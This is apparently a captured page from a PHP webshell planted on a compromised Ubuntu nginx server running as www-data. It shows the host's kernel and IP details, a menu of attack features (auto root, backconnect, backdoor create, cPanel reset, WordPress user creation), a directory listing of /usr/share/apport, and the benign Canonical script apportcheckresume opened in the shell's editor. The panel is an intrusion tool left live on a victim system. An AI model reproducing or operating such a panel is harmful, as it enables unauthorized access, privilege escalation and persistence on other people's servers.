Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
apport /
[ HOME SHELL ]
Name
Size
Permission
Action
general-hooks
[ DIR ]
drwxr-xr-x
package-hooks
[ DIR ]
drwxr-xr-x
symptoms
[ DIR ]
drwxr-xr-x
testsuite
[ DIR ]
drwxr-xr-x
apport
43.68
KB
-rwxr-xr-x
apport-checkreports
1.37
KB
-rwxr-xr-x
apport.jar
2.38
KB
-rw-r--r--
apportcheckresume
3.64
KB
-rwxr-xr-x
dump_acpi_tables.py
1.72
KB
-rwxr-xr-x
gcc_ice_hook
1.29
KB
-rwxr-xr-x
is-enabled
672
B
-rwxr-xr-x
iwlwifi_error_dump
1.96
KB
-rwxr-xr-x
java_uncaught_exception
2.59
KB
-rwxr-xr-x
kernel_crashdump
2.72
KB
-rwxr-xr-x
kernel_oops
1.25
KB
-rwxr-xr-x
package_hook
2.86
KB
-rwxr-xr-x
recoverable_problem
2.4
KB
-rwxr-xr-x
root_info_wrapper
96
B
-rwxr-xr-x
unkillable_shutdown
3.53
KB
-rwxr-xr-x
whoopsie-upload-all
8.33
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apportcheckresume
#!/usr/bin/python3 # Copyright (C) 2009 Canonical Ltd. # Author: Andy Whitcroft <apw@ubuntu.com> # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. See http://www.gnu.org/copyleft/gpl.html for # the full text of the license. """Detect and report suspend/hibernate/resume failures. If a suspend/hibernate is marked as still in progress during a normal system boot we know that that operation has failed. Use that to generate an apport bug report. """ import datetime import os import sys from gettext import gettext as _ import apport.report from apport.hookutils import attach_file_if_exists from apport.packaging_impl import impl as packaging # pylint: disable-next=missing-function-docstring def main(argv=None): if argv is None: argv = sys.argv try: if not packaging.enabled(): return -1 report = apport.report.Report(problem_type="KernelOops") libdir = "/var/lib/pm-utils" flagfile = f"{libdir}/status" stresslog = f"{libdir}/stress.log" hanglog = f"{libdir}/resume-hang.log" report.add_os_info() report.add_proc_info() report.add_user_info() report.add_package(apport.packaging.get_kernel_package()) # grab the contents of the suspend/resume flag file attach_file_if_exists(report, flagfile, "Failure") # grab the contents of the suspend/hibernate log file attach_file_if_exists(report, "/var/log/pm-suspend.log", "SleepLog") # grab the contents of the suspend/resume stress test log if present. attach_file_if_exists(report, stresslog, "StressLog") # Ensure we are appropriately tagged. if "Failure" in report: report.add_tags(["resume ", report["Failure"]]) # Record the failure mode. report["Failure"] += "/resume" # If we had a late hang pull in the resume-hang logfile. Also # add an additional tag so we can pick these out. if os.path.exists(hanglog): attach_file_if_exists(report, hanglog, "ResumeHangLog") report.add_tags(["resume-late-hang"]) # Generate a sensible report message. if report.get("Failure") == "suspend/resume": report["Annotation"] = _( "This occurred during a previous suspend," " and prevented the system from resuming properly." ) else: report["Annotation"] = _( "This occurred during a previous hibernation," " and prevented the system from resuming properly." ) # If we had a late hang make sure the dialog is clear that they may # not have noticed. Also update the bug title so we notice. if os.path.exists(hanglog): report["Annotation"] += " " + _( "The resume processing hung very near the end" " and will have appeared to have completed normally." ) report["Failure"] = "late resume" if report.check_ignored(): return 0 nowtime = datetime.datetime.now() pr_filename = f"/var/crash/susres.{str(nowtime).replace(' ', '_')}.crash" with os.fdopen( os.open(pr_filename, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o640), "wb" ) as report_file: report.write(report_file) return 0 except Exception: print("apportcheckresume failed") raise if __name__ == "__main__": sys.exit(main())
Close